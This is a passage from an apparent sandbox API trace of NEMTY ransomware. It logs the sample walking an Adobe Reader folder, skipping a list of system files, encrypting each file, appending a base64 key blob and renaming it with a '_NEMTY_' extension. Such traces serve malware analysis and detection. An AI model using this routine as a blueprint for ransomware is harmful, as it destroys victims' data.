CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0181.349] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="ZDbM/uXV03srfpw9V2CMBlQuOBBhSYhdT0df5vEt7mroHaPBQ54BGlJJwz/xhbYR\r\nsOlOL/Ug2Lvr76JtPh3u3BrTmgpTxGNhyMX0lRiIibVPZnET9h6fFUtpzx4bD3my\r\nhMPobiPDcLQGwN49A8+9HW7av/3jHMAuKvDIkh7Vd/kEy+pK+Adrq9vMS13zTjZp\r\nFwIicqLOO7eVWe0gugbLqpizhwxqqu8NSyiy70K1Wh1tx8PezY3jeb/Q1wb3axhT\r\n2flVmgRm7qw1TWm1iOg4PIR+KAS4d6Hj19Dby+jNvPn6r/0Nj+LQg3CTZmFXRN2s\r\ndt/ymOEEJr0j1mwDwh1KuQ==\r\n", pcchString=0x653e5dc) returned 1 [0181.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0181.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.349] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Annots.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\annots.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.349] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=499200) returned 1 [0181.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0181.349] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.349] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0181.359] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.359] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0181.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.360] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=499200, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x79e00 [0181.360] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.361] CloseHandle (hObject=0x2e8) returned 1 [0181.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0181.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0181.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.362] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Annots.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\annots.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Annots.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\annots.ptb._nemty_kgobjgd_")) returned 1 [0181.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0181.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0181.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0181.363] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.PTB", cAlternateFileName="BRDLAN~1.PTB")) returned 1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2=".") returned 1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="..") returned 1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="...") returned 1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="windows") returned -1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="rsa") returned -1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="NTDETECT.COM") returned -1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="ntldr") returned -1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="MSDOS.SYS") returned -1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="IO.SYS") returned -1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="boot.ini") returned 1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="boot.ini") returned 1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="ntuser.dat") returned -1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="desktop.ini") returned -1 [0181.363] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="CONFIG.SYS") returned -1 [0181.364] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="RECYCLER") returned -1 [0181.364] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.364] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="bootmgr") returned 1 [0181.364] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="programdata") returned -1 [0181.364] lstrcmpiW (lpString1="BRdlang32.PTB", lpString2="appdata") returned 1 [0181.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.PTB", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.PTB", lpUsedDefaultChar=0x0) returned 13 [0181.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.PTB", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.PTB", lpUsedDefaultChar=0x0) returned 13 [0181.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.PTB", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.PTB", lpUsedDefaultChar=0x0) returned 13 [0181.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.PTB", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0181.364] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.PTB", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.PTB", lpUsedDefaultChar=0x0) returned 13 [0181.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.364] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0181.364] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.364] Sleep (dwMilliseconds=0x5) [0181.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fc1d7d0, dwHighDateTime=0x1d561e8)) [0181.379] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fc1d7d0, dwHighDateTime=0x1d561e8)) [0181.379] GetLastError () returned 0x0 [0181.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.379] GetLastError () returned 0x0 [0181.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.379] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.379] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.380] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.380] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6P7sjwBX//BhJxgNN61FjTyZkQeUuD93yM7mP2Wwx1H4fbGhL4hvZyxfpwHdQSUw\r\n0kwpuE/HC6QmCAtUwDZf+6DioPeQeTgzhcnYpXIEpNgu+Vj+KyMoj/vXqYoOrJKr\r\n63PYAojlws05s38rqwIReU9XrdYWHO7GQf7C7cfV72CY/xtw6Nyn2lUcsxrd4+XS\r\n5ELKE7oYlvI4JF+imH5pbmaG/8TsLx4GW6729/55zDThxVK1ArLc6NkY8ndSEeT6\r\nl0Fap8bRsSgGg9C/DCw2cinsS4j72izvkmGi2i6pGtnoOgzuSzOFQjJVEuiZugMU\r\n9WDppCki8fbAakwu89L/dA==\r\n", pcchString=0x653e5dc) returned 1 [0181.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.380] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\BRdlang32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\brdlang32.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.380] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=13824) returned 1 [0181.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3600) returned 0x6352c48 [0181.380] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.380] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3600, lpOverlapped=0x0) returned 1 [0181.383] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.383] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3600, lpOverlapped=0x0) returned 1 [0181.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.383] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=13824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3600 [0181.383] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.383] CloseHandle (hObject=0x2e8) returned 1 [0181.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.383] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.383] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\BRdlang32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\brdlang32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\BRdlang32.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\brdlang32.ptb._nemty_kgobjgd_")) returned 1 [0181.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0181.384] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.PTB", cAlternateFileName="")) returned 1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2=".") returned 1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="..") returned 1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="...") returned 1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="windows") returned -1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="$RECYCLE.BIN") returned 1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="rsa") returned -1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="NTDETECT.COM") returned -1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="ntldr") returned -1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="MSDOS.SYS") returned -1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="IO.SYS") returned -1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="boot.ini") returned 1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="boot.ini") returned 1 [0181.384] lstrcmpiW (lpString1="Checkers.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0181.385] lstrcmpiW (lpString1="Checkers.PTB", lpString2="ntuser.dat") returned -1 [0181.385] lstrcmpiW (lpString1="Checkers.PTB", lpString2="desktop.ini") returned -1 [0181.385] lstrcmpiW (lpString1="Checkers.PTB", lpString2="CONFIG.SYS") returned -1 [0181.385] lstrcmpiW (lpString1="Checkers.PTB", lpString2="RECYCLER") returned -1 [0181.385] lstrcmpiW (lpString1="Checkers.PTB", lpString2="BOOTSECT.BAK") returned 1 [0181.385] lstrcmpiW (lpString1="Checkers.PTB", lpString2="bootmgr") returned 1 [0181.385] lstrcmpiW (lpString1="Checkers.PTB", lpString2="programdata") returned -1 [0181.385] lstrcmpiW (lpString1="Checkers.PTB", lpString2="appdata") returned 1 [0181.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.PTB", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.PTB", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.PTB", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.PTB", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0181.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.PTB", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.PTB", lpUsedDefaultChar=0x0) returned 12 [0181.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.385] Sleep (dwMilliseconds=0x5) [0181.395] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1fc43930, dwHighDateTime=0x1d561e8)) [0181.395] GetSystemTimeAsFileTime (in: 